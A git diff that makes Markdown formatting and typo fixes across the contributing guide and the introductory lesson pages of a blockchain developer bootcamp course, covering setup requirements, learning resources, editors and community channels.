diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 68edfdba..ae8e6e33 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -4,10 +4,10 @@ To lower the barriers to entry, all of our course content is in Markdown located in the `docs` directory. We then use [mkdocs](https://www.mkdocs.org/) to generate the course pages (thank you [Kevin Bluer!](https://github.com/kevinbluer)). -Markdown is what this file and GitHub README.md files are written in. If you need some help with Markdown, [please see this Markdown cheatsheet.](https://www.markdownguide.org/cheat-sheet/). One note, to make sure links open in a new window, be sure to add `{target=_blank}` at the end of a link. It will look like this: +Markdown is what this file and GitHub README.md files are written in. If you need some help with Markdown, [please see this Markdown cheatsheet](https://www.markdownguide.org/cheat-sheet/). One note, to make sure links open in a new window, be sure to add `{target=\_blank}` at the end of a link. It will look like this: -``` -[Text being linked](www.linkaddresshere.com){target=_blank} +```markdown +[Text being linked](www.linkaddresshere.com){target=\_blank} ``` ## Steps to GitHub PRs @@ -32,7 +32,7 @@ If there have been updates to the `staging` branch since you forked it for your Learn more on [how to use branches](https://www.atlassian.com/git/tutorials/using-branches) 🌳. -**Please check that your PR doesn't have a conflict! If it does, please:** +**Please check that your PR doesn't have a conflict! If it does, please:** 1. On your local machine, add the staging repo as your upstream branch using `git remote add upstream https://github.com/ConsenSys-Academy/Blockchain-Developer-Bootcamp/tree/staging` 2. Run `git fetch upstream` @@ -45,7 +45,7 @@ We use [GitHub issues](https://github.com/ConsenSys-Academy/Blockchain-Developer ### Overview -We use the [Forking Workflow](https://www.atlassian.com/git/tutorials/comparing-workflows/forking-workflow) method of open source contribution. This method allows projects to scale well with not alot of complexity. +We use the [Forking Workflow](https://www.atlassian.com/git/tutorials/comparing-workflows/forking-workflow) method of open source contribution. This method allows projects to scale well with not a lot of complexity. ### Setup @@ -63,7 +63,7 @@ Learn more about [working with forks](https://docs.github.com/en/github/collabor ### Issues -[Open a issue](https://github.com/ConsenSys-Academy/Blockchain-Developer-Bootcamp/issues). Issues are good! They are used to point out errors and suggest new features. +[Open a issue](https://github.com/ConsenSys-Academy/Blockchain-Developer-Bootcamp/issues). Issues are good! They are used to point out errors and suggest new features. ### Picking up an Issue @@ -88,7 +88,7 @@ Learn more on [how to use branches](https://www.atlassian.com/git/tutorials/usin 4. Write code. 5. Commit code. See style guide. 6. Push the branch to `origin`. -7. Open a pull request against `staging` with the branch. Please note, this is not `main` but `staging` to help us save on GitHub Action minutes, we're doing our best to batch-committ changes. +7. Open a pull request against `staging` with the branch. Please note, this is not `main` but `staging` to help us save on GitHub Action minutes, we're doing our best to batch-commit changes. ## Style Guide @@ -100,9 +100,9 @@ Types of branches: 1. `main` - main branch that is live. 2. `staging` - branch you make your PRs against. -2. `feat/FEATURE` - for features. -3. `fix/THING1` - hot fixes. -4. `bug/THING2` - bug fixes. +3. `feat/FEATURE` - for features. +4. `fix/THING1` - hot fixes. +5. `bug/THING2` - bug fixes. Make sure to: @@ -116,7 +116,7 @@ Make sure to: 2. Second `-m`: Describe the code in under 240 characters. `Added x feature in sample.js and updated README.md in the section required.` -``` +```bash git commit -m "Feature. Added GIF to README.md -m "Added the GIF was required to explain what is Solidity." ``` @@ -128,7 +128,7 @@ Example: `Closes #7 - Add CONTRIBUTING.md` ### Content style guide -Keep it brief but descriptive. Use links. Avoid jargon. +Keep it brief but descriptive. Use links. Avoid jargon. When possible, use pictures or gifs. @@ -136,5 +136,4 @@ When possible, use pictures or gifs. Open an [issue](https://github.com/ConsenSys-Academy/Blockchain-Developer-Bootcamp/issues) or [join our discord](https://bit.ly/ConsenSysDiscord). -Made with ❀ by ConsenSys and -![GitHub Contributors Image](https://contrib.rocks/image?repo=ConsenSys-Academy/Blockchain-Developer-Bootcamp) +Made with ❀ by ConsenSys and ![GitHub Contributors Image](https://contrib.rocks/image?repo=ConsenSys-Academy/Blockchain-Developer-Bootcamp) diff --git a/docs/S00-intro/L1-course-intro/index.md b/docs/S00-intro/L1-course-intro/index.md index f1cf60a1..49bf0c3b 100644 --- a/docs/S00-intro/L1-course-intro/index.md +++ b/docs/S00-intro/L1-course-intro/index.md @@ -10,11 +10,11 @@ This cohort will launch on September 1st, 2021. You're in good company! Develope In this course, we start off by teaching you about the underpinnings of the blockchain and show how it all comes together to allow us to build the next generation of web applications. -We will start with an overview of what we call blockchain primitives: The technology brought together underneath the name blockchain. We'll then dive deeper into the specifics of the Ethereum protocol and learn how those blockchain primitives show up there. +We will start with an overview of what we call blockchain primitives: The technology brought together underneath the name blockchain. We'll then dive deeper into the specifics of the Ethereum protocol and learn how those blockchain primitives show up there. -Next, we'll move on to understanding how to write smart contracts. We introduce you to Solidity, a programming language for Smart Contracts that lets you interact with the Ethereum Virtual Machine. We'll learn about Truffle so you can try out your new Solidity skills! We'll also discuss smart contract design patterns and security for your smart contracts. +Next, we'll move on to understanding how to write smart contracts. We introduce you to Solidity, a programming language for Smart Contracts that lets you interact with the Ethereum Virtual Machine. We'll learn about Truffle so you can try out your new Solidity skills! We'll also discuss smart contract design patterns and security for your smart contracts. -After that, we'll introduce you to developer tooling, including Web3 libraries, and other development frameworks. +After that, we'll introduce you to developer tooling, including Web3 libraries, and other development frameworks. Next, we'll discuss the way in which people are innovating blockchain development, with an introduction to Decentralized Finance (DeFi) and Decentralized Autonomous Organizations (DAOs). While this material may seem a bit overwhelming, it's important to have it available to you as you continue to develop in the space. You can always come back later to reread stuff. And we won't be testing you on it! @@ -22,7 +22,7 @@ Next, we'll touch on scalability: What it is, why it's necessary, and how some f Last, we'll cover Ethereum 2.0, the upgrading of the Ethereum consensus mechanism from Proof of Work to Proof of Stake. We'll touch on some of the key terms and the current roadmap. -As this course is self-paced, you can feel free to jump around between lessons. The earlier modules have more video and provide more of an overview of the relevant technology, while later modules get technical and have more hands on coding exercises and walk-throughs. +As this course is self-paced, you can feel free to jump around between lessons. The earlier modules have more video and provide more of an overview of the relevant technology, while later modules get technical and have more hands on coding exercises and walkthroughs. Most modules have graded quizzes at the end of the module. @@ -30,6 +30,6 @@ Most modules have graded quizzes at the end of the module. Throughout the course, you'll see that some of the lessons are "Live Presentations," these are demonstrations and walkthroughs of the concepts we're learning in the course. They will be hosted by wide cast of characters, including Academy staff, ConsenSys engineers, and developers working in the space. -**To help us pick the best time for these sessions, along with the weekly Office Hours and study sessions we hope to setup, please fill out this survey to let us know the best time for you to meet.** +**To help us pick the best time for these sessions, along with the weekly Office Hours and study sessions we hope to setup, [please fill out this survey](https://doodle.com/poll/z5nqdq25zube8tyt#calendar){target=\_blank} to let us know the best time for you to meet.** So without further ado, we wish you the best of luck, and let’s get started! diff --git a/docs/S00-intro/L2-why-learn/index.md b/docs/S00-intro/L2-why-learn/index.md index 98fcbf12..c5e47740 100644 --- a/docs/S00-intro/L2-why-learn/index.md +++ b/docs/S00-intro/L2-why-learn/index.md @@ -2,7 +2,6 @@ Initially, most people transitioned into the crypto space because of the vast financial opportunities. To some, they missed an opportunity to buy a token at its early, while others are looking for a chance to grow their salary base, or see an opportunity for a killer app. There's no shame in that! But we do hope you come for the money and stay for the paradigm shift as well. - Blockchain promises to upend the current top-down information systems in our world. Currently, most users of the internet surrender their personal data to centralized databases and services. To achieve this paradigm shift, blockchain relies fundamentally on two fields of computer science: [**Distributed Computing**](https://en.wikipedia.org/wiki/Distributed_computing){target=\_blank} and [**Cryptography**](https://en.wikipedia.org/wiki/Cryptography){target=\_blank}. We will cover these topics in the first section of the course. @@ -18,4 +17,3 @@ While there's enormous promise with blockchain development, it requires an aware - [Why It's Hard to "Get" Bitcoin: The Blockchain Spectrum](https://unchained-capital.com/blog/blockchain-spectrum/){target=\_blank} - [The Promise of Blockchain: Vinay Gupta](https://vimeo.com/161183966){target=\_blank} - [Cryptocurrencies (Last Week Tonight)](https://www.youtube.com/watch?v=g6iDZspbRMg){target=\_blank} - diff --git a/docs/S00-intro/L3-course-tips/index.md b/docs/S00-intro/L3-course-tips/index.md index e6e12fc5..d6cdca7e 100644 --- a/docs/S00-intro/L3-course-tips/index.md +++ b/docs/S00-intro/L3-course-tips/index.md @@ -2,7 +2,7 @@ ## Make Sure to Take Basic Training -We built a course called ["Before the Bootcamp: Basic Training,"](https://courses.consensys.net/courses/bootcamp-basic-training){target=_blank} which will help you start off the course on the best foot. We've included all the things we believe make successful students for the Bootcamp. It's a prerequisite for the course! +We built a course called ["Before the Bootcamp: Basic Training"](https://courses.consensys.net/courses/bootcamp-basic-training){target=\_blank}, which will help you start off the course on the best foot. We've included all the things we believe make successful students for the Bootcamp. It's a prerequisite for the course! ## Growth Mindset @@ -10,7 +10,7 @@ Taking an online, self-paced course is a difficult task and requires a certain m First and foremost, foster a growth mindset and take full advantage of the course. Understanding takes time. There will be struggles and frustration when learning something new, especially something as difficult as blockchain development. -Fortunately, enrolling in a continuing education course such as this indicates that you already exhibit a growth mindset. [Here is a short video](https://www.youtube.com/watch?v=Xv2ar6AKvGc){target=_blank} that shows the differences and talks about how you can demonstrate a growth mindset throughout this course. +Fortunately, enrolling in a continuing education course such as this indicates that you already exhibit a growth mindset. [Here is a short video](https://www.youtube.com/watch?v=Xv2ar6AKvGc){target=\_blank} that shows the differences and talks about how you can demonstrate a growth mindset throughout this course. ## Ask All the Questions @@ -22,7 +22,7 @@ As you're going through the course, we recommend you take some time to write dow ## Give Yourself Time to Understand -It’s impossible to learn these concepts by hearing them once. Instead, you’ll hear concepts multiple times and begin to learn more each time around. Maybe you’ll start programming and it makes some more sense. Finally, you’ll try to explain it to someone and realize there’s a part you don’t understand, which you then have to go back and learn. +It’s impossible to learn these concepts by hearing them once. Instead, you’ll hear concepts multiple times and begin to learn more each time around. Maybe you’ll start programming and it makes some more sense. Finally, you’ll try to explain it to someone and realize there’s a part you don’t understand, which you then have to go back and learn. This is the process of learning blockchain, and if you can accept it, it will take the pressure off trying to perfectly understand something the first time you hear it. Instead, try to let it wash over you, ask questions when they come up, but we’re also going to dunk you into the unknown, pull you up to catch your breath, then do it again! diff --git a/docs/S00-intro/L4-technical-requirements/index.md b/docs/S00-intro/L4-technical-requirements/index.md index 656d4ec5..dfde4841 100644 --- a/docs/S00-intro/L4-technical-requirements/index.md +++ b/docs/S00-intro/L4-technical-requirements/index.md @@ -1,6 +1,6 @@ # Technical Requirements -This course assumes a baseline of technical knowledge. It is important to make sure you are comfortable with the following tech. If you are not, we are providing links to excellent resources you can use to get up to speed! Please note that you can learn all these things in our free [Basic Training course.](https://courses.consensys.net/courses/bootcamp-basic-training){target=_blank} +This course assumes a baseline of technical knowledge. It is important to make sure you are comfortable with the following tech. If you are not, we are providing links to excellent resources you can use to get up to speed! Please note that you can learn all these things in our free [Basic Training course](https://courses.consensys.net/courses/bootcamp-basic-training){target=\_blank}. - [Technical Requirements](#technical-requirements) - [Unix or Linux Environments](#unix-or-linux-environments) @@ -13,11 +13,11 @@ This course assumes a baseline of technical knowledge. It is important to make s To be successful in this course you must have access to a Unix or Linux based operating system. MacOS is based on Unix and if you're running Ubuntu, that's a Linux distribution. -**If you are on a Windows 10 machine, [follow this guide to installing a Linux environment](https://consensys.net/blog/developers/ethereum-developers-guide-to-setting-up-windows-subsystem-for-linux/){target=_blank} before starting the course.** +**If you are on a Windows 10 machine, [follow this guide to installing a Linux environment](https://consensys.net/blog/developers/ethereum-developers-guide-to-setting-up-windows-subsystem-for-linux/){target=\_blank} before starting the course.** If you'd like to get more familiar with a Linux environment, you can check out this Ubuntu for beginners, targeting Ethereum Developers specifically: -* [Ubuntu for Beginners](https://agstakingco.gitbook.io/ethereum-2-0-ubuntu-for-beginners/#linux-terminal-basic-commands){target=_blank} +- [Ubuntu for Beginners](https://agstakingco.gitbook.io/ethereum-2-0-ubuntu-for-beginners/#linux-terminal-basic-commands){target=\_blank} (Those interested in learning more about the history of Unix can read [this excerpt](https://www.netmeister.org/book/02-unix.pdf) from _Advanced Programming in Unix Environment_ by Stevens and Rago) @@ -29,83 +29,82 @@ To be successful in this course, you should be comfortable using the command lin We would also recommend becoming familiar with command line shortcuts, such as: -* **CTRL + C** Interrupts and quits the process currently running. Crucial in stopping terminal line programs -* **CTRL + A** Moves your cursor to the beginning of the line -* **CTRL + E** Moves your cursor to the end of the line +- **CTRL + C** Interrupts and quits the process currently running. Crucial in stopping terminal line programs +- **CTRL + A** Moves your cursor to the beginning of the line +- **CTRL + E** Moves your cursor to the end of the line -Sometimes it's helpful to remap your caps lock key to become CTRL. Find out how to do that [here.](https://www.howtogeek.com/194705/how-to-disable-or-reassign-the-caps-lock-key-on-any-operating-system/){target=_blank} +Sometimes it's helpful to remap your caps lock key to become CTRL. Find out how to do that [here](https://www.howtogeek.com/194705/how-to-disable-or-reassign-the-caps-lock-key-on-any-operating-system/){target=\_blank}. To brush up on command line skills, check out: -* [MIT: Your Missing CS Semester: The Shell](https://missing.csail.mit.edu/2020/course-shell/){target=_blank} and [Shell Tools](https://missing.csail.mit.edu/2020/shell-tools/){target=_blank} -* [The Odin Project: Command Line Basics](https://www.theodinproject.com/lessons/foundations-command-line-basics){target=_blank} -* [Ubuntu for Beginners](https://agstakingco.gitbook.io/ethereum-2-0-ubuntu-for-beginners/#linux-terminal-basic-commands){target=_blank} +- [MIT: Your Missing CS Semester: The Shell](https://missing.csail.mit.edu/2020/course-shell/){target=\_blank} and [Shell Tools](https://missing.csail.mit.edu/2020/shell-tools/){target=\_blank} +- [The Odin Project: Command Line Basics](https://www.theodinproject.com/lessons/foundations-command-line-basics){target=\_blank} +- [Ubuntu for Beginners](https://agstakingco.gitbook.io/ethereum-2-0-ubuntu-for-beginners/#linux-terminal-basic-commands){target=\_blank} ## Git -[Git](https://en.wikipedia.org/wiki/Git){target=_blank} is a [version-control system (VCS)](https://en.wikipedia.org/wiki/Version_control){target=_blank} used to track changes made to projects. While git seems simple, it's actually a bit challenging to get comfortable with. (Note that git is a piece of software, on which version control sites like GitHub or GitLab are based.) +[Git](https://en.wikipedia.org/wiki/Git){target=\_blank} is a [version-control system (VCS)](https://en.wikipedia.org/wiki/Version_control){target=\_blank} used to track changes made to projects. While git seems simple, it's actually a bit challenging to get comfortable with. (Note that git is a piece of software, on which version control sites like GitHub or GitLab are based.) Here are some resources to get you started: -* [Git: Docs](https://git-scm.com/doc){target=_blank} -* [The Odin Project: Setting Up Git](https://www.theodinproject.com/lessons/foundations-setting-up-git){target=_blank} -* [The Odin Project: Git Basics](https://www.theodinproject.com/lessons/foundations-git-basics){target=_blank} -* [MIT Missing CS Semester: Version Control (git)](https://missing.csail.mit.edu/2020/version-control/){target=_blank} -* [Git and GitHub for Poets (video)](https://www.youtube.com/playlist?list=PLRqwX-V7Uu6ZF9C0YMKuns9sLDzK6zoiV){target=_blank} +- [Git: Docs](https://git-scm.com/doc){target=\_blank} +- [The Odin Project: Setting Up Git](https://www.theodinproject.com/lessons/foundations-setting-up-git){target=\_blank} +- [The Odin Project: Git Basics](https://www.theodinproject.com/lessons/foundations-git-basics){target=\_blank} +- [MIT Missing CS Semester: Version Control (git)](https://missing.csail.mit.edu/2020/version-control/){target=\_blank} +- [Git and GitHub for Poets (video)](https://www.youtube.com/playlist?list=PLRqwX-V7Uu6ZF9C0YMKuns9sLDzK6zoiV){target=\_blank} +Not only is git a part of a good coding repertoire, it's also used by many [open-source projects](https://www.digitalocean.com/community/tutorial_series/an-introduction-to-open-source){target=\_blank}. An essential part of the bootcamp is contributing to open-source projects. It's really important to know how to do proper Pull Requests and other guidelines for contributing to open-source. Here are a few resources to help you with this: -Not only is git a part of a good coding repertoire, it's also used by many [open-source projects.](https://www.digitalocean.com/community/tutorial_series/an-introduction-to-open-source){target=_blank} An essential part of the bootcamp is contributing to open-source projects. It's really important to know how to do proper Pull Requests and other guidelines for contributing to open-source. Here are a few resources to help you with this: - -* [GitHub Pull Request Tutorial](https://guides.github.com/activities/hello-world/){target=_blank} -* [On undoing, fixing, or removing commits in git](https://sethrobertson.github.io/GitFixUm/fixup.html){target=_blank} -* [How to Teach Git](https://rachelcarmena.github.io/2018/12/12/how-to-teach-git.html){target=_blank} +- [GitHub Pull Request Tutorial](https://guides.github.com/activities/hello-world/){target=\_blank} +- [On undoing, fixing, or removing commits in git](https://sethrobertson.github.io/GitFixUm/fixup.html){target=\_blank} +- [How to Teach Git](https://rachelcarmena.github.io/2018/12/12/how-to-teach-git.html){target=\_blank} For those who would like to get a headstart, check out the "Good First Issues" for these open-source Ethereum projects: -* [MetaMask](https://github.com/MetaMask/metamask-extension/issues?q=is%3Aissue+is%3Aopen+label%3Aux-enhancement+-label%3AN00-needsDesign+label%3Agood-first-issue){target=_blank} -* [Truffle](https://github.com/trufflesuite/truffle/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue%22){target=_blank} -* [Go Ethereum (geth)](https://github.com/ethereum/go-ethereum/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue%22){target=_blank} -* [Web3.js](https://github.com/ChainSafe/web3.js/issues?q=is%3Aopen+is%3Aissue+label%3A%22Good+First+Issue%22){target=_blank} -* [Prysmatic Labs](https://github.com/prysmaticlabs/prysm/issues?q=is%3Aopen+is%3Aissue+label%3A%22Good+First+Issue%22){target=_blank} or [Teku](https://github.com/ConsenSys/teku/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue+%3Araising_hand%3A%22){target=_blank} (Ethereum 2.0 client) +- [MetaMask](https://github.com/MetaMask/metamask-extension/issues?q=is%3Aissue+is%3Aopen+label%3Aux-enhancement+-label%3AN00-needsDesign+label%3Agood-first-issue){target=\_blank} +- [Truffle](https://github.com/trufflesuite/truffle/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue%22){target=\_blank} +- [Go Ethereum (geth)](https://github.com/ethereum/go-ethereum/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue%22){target=\_blank} +- [Web3.js](https://github.com/ChainSafe/web3.js/issues?q=is%3Aopen+is%3Aissue+label%3A%22Good+First+Issue%22){target=\_blank} +- [Prysmatic Labs](https://github.com/prysmaticlabs/prysm/issues?q=is%3Aopen+is%3Aissue+label%3A%22Good+First+Issue%22){target=\_blank} or [Teku](https://github.com/ConsenSys/teku/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue+%3Araising_hand%3A%22){target=\_blank} (Ethereum 2.0 client) -Be sure to read Community Guidelines before contributing to a project. For example, here is Geth's [Contributor Guidelines](https://github.com/ethereum/go-ethereum/wiki/Developers'-Guide#contributing){target=_blank} and their [Code Review Guidelines](https://github.com/ethereum/go-ethereum/wiki/Code-Review-Guidelines){target=_blank} +Be sure to read Community Guidelines before contributing to a project. For example, here is Geth's [Contributor Guidelines](https://github.com/ethereum/go-ethereum/wiki/Developers'-Guide#contributing){target=\_blank} and their [Code Review Guidelines](https://github.com/ethereum/go-ethereum/wiki/Code-Review-Guidelines){target=\_blank} ## JavaScript -Even if JavaScript is not your first software language, it's really important you be familiar with its basic syntax. [Solidity,](https://docs.soliditylang.org/en/v0.8.2/){target=_blank} the smart contract language you'll learn, is based on [ECMAScript.](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Language_Resources){target=_blank} We recommend [Code Academy's free Intro to JavaScript course,](https://www.codecademy.com/learn/introduction-to-javascript){target=_blank} [The Odin Project](https://www.theodinproject.com/paths/foundations/courses/foundations#javascript-basics){target=_blank} or [The Modern JavaScript Tutorial](https://javascript.info/){target=_blank} to get the basics. Beyond basic JavaScript, students should be familiar with Node and npm. Some advanced students will also be using React in this course. Here are some resources to help familiarize yourself with these: +Even if JavaScript is not your first software language, it's really important you be familiar with its basic syntax. [Solidity,](https://docs.soliditylang.org/en/v0.8.2/){target=\_blank} the smart contract language you'll learn, is based on [ECMAScript](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Language_Resources){target=\_blank}. We recommend [Code Academy's free Intro to JavaScript course,](https://www.codecademy.com/learn/introduction-to-javascript){target=\_blank} [The Odin Project](https://www.theodinproject.com/paths/foundations/courses/foundations#javascript-basics){target=\_blank} or [The Modern JavaScript Tutorial](https://javascript.info/){target=\_blank} to get the basics. Beyond basic JavaScript, students should be familiar with Node and npm. Some advanced students will also be using React in this course. Here are some resources to help familiarize yourself with these: -* [The Odin Project: Introduction to Node](https://www.theodinproject.com/paths/full-stack-javascript/courses/nodejs){target=_blank} -* [JavaScript Fundamentals Before Learning React](https://www.robinwieruch.de/javascript-fundamentals-react-requirements){target=_blank} +- [The Odin Project: Introduction to Node](https://www.theodinproject.com/paths/full-stack-javascript/courses/nodejs){target=\_blank} +- [JavaScript Fundamentals Before Learning React](https://www.robinwieruch.de/javascript-fundamentals-react-requirements){target=\_blank} ## Code Editor -[VSCode](https://code.visualstudio.com/download){target=_blank} is a very popular editor with developers due to the plug-ins and extensions it makes available. We would recommend getting started with it and the following plug-ins / features: +[VSCode](https://code.visualstudio.com/download){target=\_blank} is a very popular editor with developers due to the plug-ins and extensions it makes available. We would recommend getting started with it and the following plug-ins / features: -* [Live Server](https://marketplace.visualstudio.com/items?itemName=ritwickdey.LiveServer){target=_blank} which allows you to easily start a server in the directory -* [Live Share](https://visualstudio.microsoft.com/services/live-share/){target=_blank} an easy way to share your code with someone for pair programming -* [Gitlens](https://marketplace.visualstudio.com/items?itemName=eamodio.gitlens){target=_blank} "supercharges the Git capabilities built into Visual Studio Code." -* [Solidity Visual Developer](https://marketplace.visualstudio.com/items?itemName=tintinweb.solidity-visual-auditor){target=_blank} Built by ConsenSys! -* [Solidity linter](https://marketplace.visualstudio.com/items?itemName=JuanBlanco.solidity){target=_blank} Checks valid Solidity syntax. Fair warning, can be over-opinionated for folks! -* [Solidity Solhint](https://marketplace.visualstudio.com/items?itemName=idrabenia.solidity-solhint){target=_blank} -* [Partial Diff](https://marketplace.visualstudio.com/items?itemName=ryu1kn.partial-diff){target=_blank} Compare (diff) text selections within a file, across files, or to the clipboard -* [Markdown All in One](https://marketplace.visualstudio.com/items?itemName=yzhang.markdown-all-in-one){target=_blank} All you need to write Markdown -* [GitHub Linker](https://marketplace.visualstudio.com/items?itemName=gimenete.github-linker){target=_blank} Create links to fragments of code in GitHub +- [Live Server](https://marketplace.visualstudio.com/items?itemName=ritwickdey.LiveServer){target=\_blank} which allows you to easily start a server in the directory +- [Live Share](https://visualstudio.microsoft.com/services/live-share/){target=\_blank} an easy way to share your code with someone for pair programming +- [Gitlens](https://marketplace.visualstudio.com/items?itemName=eamodio.gitlens){target=\_blank} "supercharges the Git capabilities built into Visual Studio Code." +- [Solidity Visual Developer](https://marketplace.visualstudio.com/items?itemName=tintinweb.solidity-visual-auditor){target=\_blank} Built by ConsenSys! +- [Solidity linter](https://marketplace.visualstudio.com/items?itemName=JuanBlanco.solidity){target=\_blank} Checks valid Solidity syntax. Fair warning, can be over-opinionated for folks! +- [Solidity Solhint](https://marketplace.visualstudio.com/items?itemName=idrabenia.solidity-solhint){target=\_blank} +- [Partial Diff](https://marketplace.visualstudio.com/items?itemName=ryu1kn.partial-diff){target=\_blank} Compare (diff) text selections within a file, across files, or to the clipboard +- [Markdown All in One](https://marketplace.visualstudio.com/items?itemName=yzhang.markdown-all-in-one){target=\_blank} All you need to write Markdown +- [GitHub Linker](https://marketplace.visualstudio.com/items?itemName=gimenete.github-linker){target=\_blank} Create links to fragments of code in GitHub -We strongly recommend using VSCode in this course, particularly if you're new to coding, due to its extensive plugins. Other popular editors include [Sublime Text,](https://www.sublimetext.com/){target=_blank} and [IDEA](https://www.jetbrains.com/idea/){target=_blank} (written originally for Java but now supports many languages). +We strongly recommend using VSCode in this course, particularly if you're new to coding, due to its extensive plugins. Other popular editors include [Sublime Text](https://www.sublimetext.com/){target=\_blank} and [IDEA](https://www.jetbrains.com/idea/){target=\_blank} (written originally for Java but now supports many languages). -[Remix Project](https://remix-project.org/){target=_blank} is a platform for development tools that use a plugin architecture. It encompasses sub-projects including Remix Plugin Engine, Remix Libraries, and of course Remix IDE. +[Remix Project](https://remix-project.org/){target=\_blank} is a platform for development tools that use a plugin architecture. It encompasses sub-projects including Remix Plugin Engine, Remix Libraries, and of course Remix IDE. Remix IDE is an open source web and desktop application. It fosters a fast development cycle and has a rich set of plugins with intuitive GUIs. Remix is used for the entire journey of contract development with Solidity language as well as a playground for learning and teaching Ethereum. -Start developing using Remix on browser, visit: [Start coding online](https://remix.ethereum.org/){target=_blank} +Start developing using Remix on browser, visit: [Start coding online](https://remix.ethereum.org/){target=\_blank} -For desktop version, see releases: [Remix Desktop](https://github.com/ethereum/remix-desktop/releases){target=_blank} +For desktop version, see releases: [Remix Desktop](https://github.com/ethereum/remix-desktop/releases){target=\_blank} There is also the option of text-only editors. Many developers find them extremely productive and, while challenging to learn, make their job much easier. We'll address one here, vim, by providing this series of tutorials: -* [History and Effective Use of Vim](https://begriffs.com/posts/2019-07-19-history-use-vim.html){target=_blank} -* [Vim for Beginners](https://thevaluable.dev/vim-beginner/){target=_blank} -* [Vim for Intermediate Users](https://thevaluable.dev/vim-intermediate/){target=_blank} -* [Vim for Advanced Users](https://thevaluable.dev/vim-advanced/){target=_blank} +- [History and Effective Use of Vim](https://begriffs.com/posts/2019-07-19-history-use-vim.html){target=\_blank} +- [Vim for Beginners](https://thevaluable.dev/vim-beginner/){target=\_blank} +- [Vim for Intermediate Users](https://thevaluable.dev/vim-intermediate/){target=\_blank} +- [Vim for Advanced Users](https://thevaluable.dev/vim-advanced/){target=\_blank} -If you'll be using text-only editors, or simply using the command line for your development environment, you'll want to get familiar with `tmux`: [Getting Started with Tmux](https://sunainapai.in/blog/get-started-with-tmux/){target=_blank} +If you'll be using text-only editors, or simply using the command line for your development environment, you'll want to get familiar with `tmux`: [Getting Started with Tmux](https://sunainapai.in/blog/get-started-with-tmux/){target=\_blank}. diff --git a/docs/S00-intro/L5-communication-tools/index.md b/docs/S00-intro/L5-communication-tools/index.md index aad7f7e1..bbbfbe95 100644 --- a/docs/S00-intro/L5-communication-tools/index.md +++ b/docs/S00-intro/L5-communication-tools/index.md @@ -2,29 +2,30 @@ ## Education DAO Discord -Students have access to a chat app called Discord. -- [Here is the link to join the Education DAO Discord channel.](https://join.education-dao.org/){target=_blank} +Students have access to a chat app called Discord. -The link above will take you through Noble onboarding, a Web3 tool that will assign roles within the Education DAO's Discord based on your contributions and efforts on-chain. Once you are onboarded and have access to the Discord server, you will begin to *DAO by DAOing*. You'll start in our +- [Here is the link to join the Education DAO Discord channel](https://join.education-dao.org/){target=\_blank}. + +The link above will take you through Noble onboarding, a Web3 tool that will assign roles within the Education DAO's Discord based on your contributions and efforts on-chain. Once you are onboarded and have access to the Discord server, you will begin to _DAO by DAOing_. You'll start in our ## ConsenSys Discord -- [Here is the link to join the ConsenSys Discord channel.](https://discord.gg/Nmjbrapxv7){target=_blank} +- [Here is the link to join the ConsenSys Discord channel](https://discord.gg/Nmjbrapxv7){target=\_blank}. We have a channel specific for Bootcamp students and alumni, but there are also channels for you to talk with other developers, product owners, and those interested in the Ethereum ecosystem. As the course progresses, you may want to ask a specific ConsenSys team questions about their specific product. You can do that in this Discord server. ## Getting to the Bootcamp Discord Section -In the ConsenSys Discord ([invite here](https://discord.gg/Nmjbrapxv7){target=_blank}), go to the Academy channel. There, find the "đŸŒ±-bootcamp-welcome-desk-đŸŒ±" and type in the command `!role`. You find a window pop up, and you'll select the lightbulb emoji 💡. After that, you'll see the Bootcamp section! +In the ConsenSys Discord ([invite here](https://discord.gg/Nmjbrapxv7){target=\_blank}), go to the Academy channel. There, find the "đŸŒ±-bootcamp-welcome-desk-đŸŒ±" and type in the command `!role`. You find a window pop up, and you'll select the lightbulb emoji 💡. After that, you'll see the Bootcamp section! Don't hesitate to ask for help. We'll have admins be watching throughout the first week to help people get to the Bootcamp section! ## Zoom -We will be using Zoom for Office Hours and One-on-One meetings. [You can download Zoom here.](http://zoom.us){target=_blank} +We will be using Zoom for Office Hours and One-on-One meetings. [You can download Zoom here](http://zoom.us){target=\_blank}. ## Office Hours Attending office hours is a great way to get to know the course mentors and your fellow students. Office hours are for asking questions about the course, discussing anything related Ethereum (news, tools, tweets, blog posts, projects ideas, the future, etc.) and learning about ConsenSys projects (when they come to present). We will make announcements about when ConsenSys projects will come to present during the course. -[Check out the Blockchain Developer Bootcamp Google calendar here.](https://calendar.google.com/calendar/embed?src=c_cvice1asl9j2viviu3vo45f49s%40group.calendar.google.com&ctz=America%2FChicago){target=_blank} You can also add it to your own calendar! +[Check out the Blockchain Developer Bootcamp Google calendar here](https://calendar.google.com/calendar/embed?src=c_cvice1asl9j2viviu3vo45f49s%40group.calendar.google.com&ctz=America%2FChicago){target=\_blank}. You can also add it to your own calendar! diff --git a/docs/S00-intro/L6-keeping-up/index.md b/docs/S00-intro/L6-keeping-up/index.md index bae6fc59..71c2fec8 100644 --- a/docs/S00-intro/L6-keeping-up/index.md +++ b/docs/S00-intro/L6-keeping-up/index.md @@ -4,83 +4,86 @@ As we mentioned, the blockchain space moves very fast. Courses like this are gre Luckily, there are plenty of places to read the latest and greatest happening in the space, particularly Ethereum. Here's where we suggest you get started. -_Have suggestions you'd like to see on the list? [Edit this page here!](https://github.com/ConsenSys-Academy/Blockchain-Developer-Bootcamp/edit/staging/docs/S00-intro/L6-keeping-up/index.md){target=_blank}_ +_Have suggestions you'd like to see on the list? [Edit this page here!](https://github.com/ConsenSys-Academy/Blockchain-Developer-Bootcamp/edit/staging/docs/S00-intro/L6-keeping-up/index.md){target=\_blank}_ ## Twitter -* [Twitter Lists from Aftab Hossain (DCinvestor)](https://twitter.com/iamDCinvestor/lists){target=_blank} -* [@ConsensysAcad](https://twitter.com/consensysacad){target=_blank} -* [Twitter List from John Brennan](https://twitter.com/i/lists/1240026040619106306?s=20){target=_blank} -* [@ConsenSys](https://twitter.com/consensys){target=_blank} -* [Basecamp's list of blockchain Cultural 